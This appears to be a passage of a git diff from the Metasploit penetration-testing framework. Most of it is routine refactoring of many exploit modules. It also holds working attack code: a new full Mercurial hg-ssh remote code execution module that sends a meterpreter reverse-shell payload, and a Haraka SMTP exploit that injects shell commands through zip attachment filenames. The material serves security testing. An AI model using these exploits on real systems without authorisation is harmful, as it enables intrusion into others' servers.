a/modules/exploits/linux/pptp/poptop_negative_read.rb b/modules/exploits/linux/pptp/poptop_negative_read.rb index 1960848adf..da74b784c4 100644 --- a/modules/exploits/linux/pptp/poptop_negative_read.rb +++ b/modules/exploits/linux/pptp/poptop_negative_read.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1723) - ], self.class) + ]) register_advanced_options( [ @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote "(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]), OptString.new("Hostname", [ false, "PPTP Packet hostname", '' ]), OptString.new("Vendor", [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]), - ], self.class) + ]) end # Dynamic payload space calculation diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index 5552ff0bbc..86058b4b5c 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote # We must wait 15 seconds between each attempt so as to prevent # squid from exiting completely after 5 crashes. OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]), - ], self.class) + ]) end def brute_exploit(addresses) diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index 5f6e867f48..680dd16f14 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -88,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end # diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 82a8c8b8fe..40783a66ce 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -203,7 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']), - ], self.class) + ]) end diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 8dd9476745..8410129f63 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -170,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) - ], self.class) + ]) end diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index e89a00faea..2d9a7cd69e 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -66,7 +64,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(139) - ], self.class) + ]) end def brute_exploit(addrs) diff --git a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb index 941eb37e21..9b512bfb34 100644 --- a/modules/exploits/linux/smtp/exim4_dovecot_exec.rb +++ b/modules/exploits/linux/smtp/exim4_dovecot_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,12 +57,12 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) - ], self.class) + ]) register_advanced_options( [ OptBool.new("SkipVersionCheck", [false, "Specify this to skip the version check", false]) - ], self.class) + ]) deregister_options('MAILFROM') end diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index 145764fe85..59a117e4f5 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -49,11 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(25), OptAddress.new('SENDER_HOST_ADDRESS', [true, 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) - ], self.class) + ]) register_advanced_options([ OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil]) - ], self.class) + ]) end def check diff --git a/modules/exploits/linux/smtp/haraka.py b/modules/exploits/linux/smtp/haraka.py index f1fd60d5f8..28e87ea278 100755 --- a/modules/exploits/linux/smtp/haraka.py +++ b/modules/exploits/linux/smtp/haraka.py @@ -19,7 +19,7 @@ from email.mime.text import MIMEText from datetime import datetime import zipfile import StringIO -import sys, os, json +from metasploit import module metadata = { 'name': 'Haraka SMTP Command Injection', @@ -34,12 +34,16 @@ metadata = { {'type': 'edb', 'ref': '41162'}, {'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'}, ], - 'type': 'remote_exploit.cmd_stager.wget', + 'type': 'remote_exploit_cmd_stager', + 'wfsdelay': 5, 'privileged': True, 'targets': [ {'platform': 'linux', 'arch': 'x64'}, {'platform': 'linux', 'arch': 'x86'} ], + 'payload': { + 'command_stager_flavor': 'wget' + }, 'options': { 'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'}, 'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'}, @@ -47,13 +51,6 @@ metadata = { 'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25} }} -def log(message, level='info'): - print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': { - 'level': level, - 'message': message - }})) - sys.stdout.flush() - def send_mail(to, mailserver, cmd, mfrom, port): msg = MIMEMultipart() html = "harakiri" @@ -62,21 +59,21 @@ def send_mail(to, mailserver, cmd, mfrom, port): msg['To'] = to f = "harakiri.zip" msg.attach(MIMEText(html)) - log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug') + module.log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug') part = MIMEApplication(create_zip(cmd),Name="harakiri.zip") part['Content-Disposition'] = 'attachment; filename="harakiri.zip"' msg.attach(part) - log("Sending mail to target server...") - log(msg.as_string(), 'debug') + module.log("Sending mail to target server...") + module.log(msg.as_string(), 'debug') s = smtplib.SMTP(mailserver, port) try: resp = s.sendmail(mfrom, to, msg.as_string()) except smtplib.SMTPDataError as err: if err[0] == 450: - log("Triggered bug in target server (%s)"%err[1], 'good') + module.log("Triggered bug in target server (%s)"%err[1], 'good') return(True) - log("Bug not triggered in target server", 'error') - log("it may not be vulnerable or have the attachment plugin activated", 'error') + module.log("Bug not triggered in target server", 'error') + module.log("it may not be vulnerable or have the attachment plugin activated", 'error') s.close() return(False) @@ -101,14 +98,8 @@ def create_zip(cmd="touch /tmp/harakiri"): z1.append("a\";%s;echo \"a.zip"%cmd, z2.read()) return(z1.read()) +def exploit(args): + send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport'])) + if __name__ == '__main__': - req = json.loads(os.read(0, 10000)) - if req['method'] == 'describe': - print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})) - elif req['method'] == 'run': - args = req['params'] - send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport'])) - print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': { - 'message': 'Exploit completed' - }})) - sys.stdout.flush() + module.run(metadata, exploit) diff --git a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb index 97a8b45d01..b0cd93efb6 100644 --- a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb +++ b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/ssh/exagrid_known_privkey.rb b/modules/exploits/linux/ssh/exagrid_known_privkey.rb index 87b88941f4..5a0be58a6f 100644 --- a/modules/exploits/linux/ssh/exagrid_known_privkey.rb +++ b/modules/exploits/linux/ssh/exagrid_known_privkey.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' diff --git a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb index ae4d8f9f38..8b0d8f5194 100644 --- a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb +++ b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb index 598518db88..34284c4dfb 100644 --- a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb +++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/ssh/mercurial_ssh_exec.rb b/modules/exploits/linux/ssh/mercurial_ssh_exec.rb new file mode 100644 index 0000000000..909757b724 --- /dev/null +++ b/modules/exploits/linux/ssh/mercurial_ssh_exec.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::SSH + + def initialize(info={}) + super(update_info(info, + 'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec", + 'Description' => %q{ + This module takes advantage of custom hg-ssh wrapper implementations that don't + adequately validate parameters passed to the hg binary, allowing users to trigger a + Python Debugger session, which allows arbitrary Python code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'claudijd', + ], + 'References' => + [ + ['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29'] + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp', + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [ ['Automatic', {}] ], + 'Privileged' => false, + 'DisclosureDate' => "Apr 18 2017", + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(22), + OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]), + OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]), + ] + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def username + datastore['USERNAME'] + end + + def ssh_priv_key + File.read(datastore['SSH_PRIV_KEY_FILE']) + end + + def exploit + factory = ssh_socket_factory + ssh_options = { + auth_methods: ['publickey'], + config: false, + use_agent: false, + key_data: [ ssh_priv_key ], + port: rport, + proxy: factory, + non_interactive: true + } + + ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + print_status("#{rhost}:#{rport} - Attempting to login...") + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(rhost, username, ssh_options) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials." + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh + print_good("SSH connection is established.") + ssh.open_channel do |ch| + ch.exec "hg -R --debugger serve --stdio" do |ch, success| + ch.on_extended_data do |ch, type, data| + if data.match(/entering debugger/) + print_good("Triggered Debugger (#{data})") + ch.send_data "#{payload.encoded}\n" + else + print_bad("Unable to trigger debugger (#{data})") + end + end + end + end + + begin + ssh.loop unless session_created? + rescue Errno::EBADF => e + elog(e.message) + end + end + end +end diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb index 7d66168fea..f6443632d0 100644 --- a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb +++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index f81f0517a9..24331c8f80 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 6fe9c6d4c6..a7e935e3e7 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb index a5f7d68121..32b6f4b6f0 100644 --- a/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/linux/telnet/telnet_encrypt_keyid.rb @@ -6,8 +6,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb index d806264e2c..59b272cd43 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RHOST(), Opt::RPORT(1900) - ], self.class) + ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index 77161f34cc..dd682d141b 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(5555), - ], self.class) + ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb b/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb index 71619ba5a4..721f5841ec 100644 --- a/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb +++ b/modules/exploits/mainframe/ftp/ftp_jcl_creds.rb @@ -1,4 +1,3 @@ -require 'msf/core' require 'msf/core/exploit/tcp' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 4bdb568455..1c3460dd15 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index c3145edd6a..7eb8936ea2 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 4a3fc784c6..42605a7d62 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index 78d47028e5..50fabad96b 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb index 3fefc1f43a..baaf02f5a9 100644 --- a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb index 9e3a04a118..8e4dd359bc 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb index c5f779aac6..db5a21c92e 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 385b64db3e..7a8c634768 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index a3c709311a..3faaefea0b 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb index 0cae78da7e..791631d25b 100644 --- a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML ." ]) - ], self.class) + ]) end def on_request_exploit(cli, request, target_info) diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 382f8841bd..51d73f5aa5 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", '' ] ) - ], self.class) + ]) end def on_request_exploit(cli, request, target_info) diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb index ff0aa8649d..2ac0b100c9 100644 --- a/modules/exploits/multi/browser/firefox_proxy_prototype.rb +++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/exploitation/jsobfu' class MetasploitModule < Msf::Exploit::Remote @@ -56,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML ." ]) - ], self.class) + ]) end def on_request_exploit(cli, request, target_info) diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index a78533c60a..13d975858d 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 568c9ed1de..22262dde9e 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb index cee613df0d..ab9cfba4a4 100644 --- a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb +++ b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/exploitation/jsobfu' class MetasploitModule < Msf::Exploit::Remote @@ -63,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", "" ]) - ], self.class) + ]) end def on_request_exploit(cli, request, target_info) diff --git a/modules/exploits/multi/browser/firefox_webidl_injection.rb b/modules/exploits/multi/browser/firefox_webidl_injection.rb index 75d0e62887..563dfa30a0 100644 --- a/modules/exploits/multi/browser/firefox_webidl_injection.rb +++ b/modules/exploits/multi/browser/firefox_webidl_injection.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/exploitation/jsobfu' class MetasploitModule < Msf::Exploit::Remote @@ -63,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", "" ]) - ], self.class) + ]) end def on_request_exploit(cli, request, target_info) diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 5bef4ac4e8..51da172654 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index 9faaab409d..e764736668 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 2efbc2544a..c765c54079 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index 7d91e8b864..e28976d083 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 5f9427aae4..2d8ac17b9f 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index 8c68bb3eeb..eb750bf9d4 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index b3a797e075..75d46f6db4 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index e0545f2e52..3832cf1631 100644 --- 